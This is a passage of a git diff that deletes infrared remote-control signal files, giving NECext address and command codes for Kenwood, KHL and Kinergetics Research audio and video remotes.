-protocol: NECext -address: B6 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 09 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 0A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: RW -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 19 00 00 00 -# -name: P.MODE -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 49 00 00 00 -# -name: DSP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: C1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir deleted file mode 100644 index 6540c1b90..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 03 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 04 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 05 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 06 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 07 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 09 00 00 00 -# -name: preset- -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 12 00 00 00 -# -name: preset+ -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 17 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 1E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 1F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 41 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 42 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 43 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 44 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 46 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 47 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 48 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 49 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 4B 00 00 00 -# -name: pmode -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 4D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 4E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 4F 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 59 00 00 00 -# -name: rds -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 60 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: 9A 00 00 00 -# -name: listen-mode -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A1 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A3 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A4 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A5 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A6 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A7 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A8 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: A9 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: AA 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: AC 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: AD 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: AE 00 00 00 -# -name: top-menu -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: AF 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: B0 00 00 00 -# -name: slow- -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: B1 00 00 00 -# -name: slow+ -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: B2 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: B3 00 00 00 -# -name: marker -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: B4 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 2C 2C 00 00 -command: C2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir deleted file mode 100644 index d8a6e9076..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DISC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 08 00 00 00 -# -name: BAND___TUNER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 90 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 91 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 92 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 93 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 94 00 00 00 -# -name: TAPE_2_(_MONITOR_) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 96 00 00 00 -# -name: P.CALL -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C9 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: SKIP_REV -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: SKIP_FWD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D1 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D5 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DD 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir deleted file mode 100644 index bfb3a8f51..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 19 00 00 00 -# -name: pmode -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 49 00 00 00 -# -name: bboost -type: parsed -protocol: NECext -address: B6 00 00 00 -command: C1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir deleted file mode 100644 index 1b902f882..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 09 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 11 00 00 00 -# -name: >/|| -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 13 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 14 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 15 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 16 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: B6 00 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,-1.ir deleted file mode 100644 index 1f334bd1d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_DISC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 08 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 56 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: P.CALL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8C 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: P.CALL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: VOLUME_CTRL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOLUME_CTRL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C9 00 00 00 -# -name: CD_PLAY/PAUSE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: CD_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: CD_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 -# -name: TAPEA_REV_PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: TAPEA_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D1 00 00 00 -# -name: TAPEA_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: TAPEA_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TAPEA_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D5 00 00 00 -# -name: TAPEA_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D6 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D7 00 00 00 -# -name: TAPEB_REV_PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TAPEB_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: TAPEB_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: TAPEB_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TAPEB_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DD 00 00 00 -# -name: TAPEB_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 -# -name: SURR.MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,1.ir deleted file mode 100644 index 650237a83..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: N.B. -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 4B 00 00 00 -# -name: MULTI_LVL_CTRL_V -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 54 00 00 00 -# -name: MULTI_LVL_CTRL_^ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 55 00 00 00 -# -name: LEVEL_MODE -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 57 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: B8 01 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir deleted file mode 100644 index c1dd0f3c9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: memory -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 0C 00 00 00 -# -name: auto -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 0E 00 00 00 -# -name: pscan -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 15 00 00 00 -# -name: tuneup -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 16 00 00 00 -# -name: tunedn -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 17 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 18 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 1A 00 00 00 -# -name: am_fm -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 1C 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 41 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir deleted file mode 100644 index 035f9c501..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 09 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0A 00 00 00 -# -name: SEEK_UP -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0B 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0C 00 00 00 -# -name: CAL_/SET -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0D 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0E 00 00 00 -# -name: SEEK_DOWN -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0F 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 10 00 00 00 -# -name: ENHANCE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 11 00 00 00 -# -name: AUX_1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 12 00 00 00 -# -name: DOLBY/PRO_LOGIC -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 13 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 14 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 15 00 00 00 -# -name: THX_/_CINAMA -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 16 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 17 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 18 00 00 00 -# -name: AUX_2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 19 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1A 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1B 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1C 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1E 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir deleted file mode 100644 index cfb613553..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD-A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: CD-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: ON_-A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: ON_-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: AM/FM-A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: AM/FM-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: MUTE-A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: MUTE-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: TAPE_-A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: TAPE_-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: AUX-A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: AUX-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: TUNER_-A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: TUNER_-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: PRESET_UP_-A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: PRESET_UP_-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: PRESET_DOWN_-A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: PRESET_DOWN_-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: SEEK_UP_-A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: SEEK_UP_-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: SEEK_DOWN_-A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: SEEK_DOWN_-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: VOLUME_DOWN_-A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: VOLUME_DOWN_-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: VOLUME_UP_-A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: VOLUME_UP_-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir deleted file mode 100644 index 62fe701f9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# 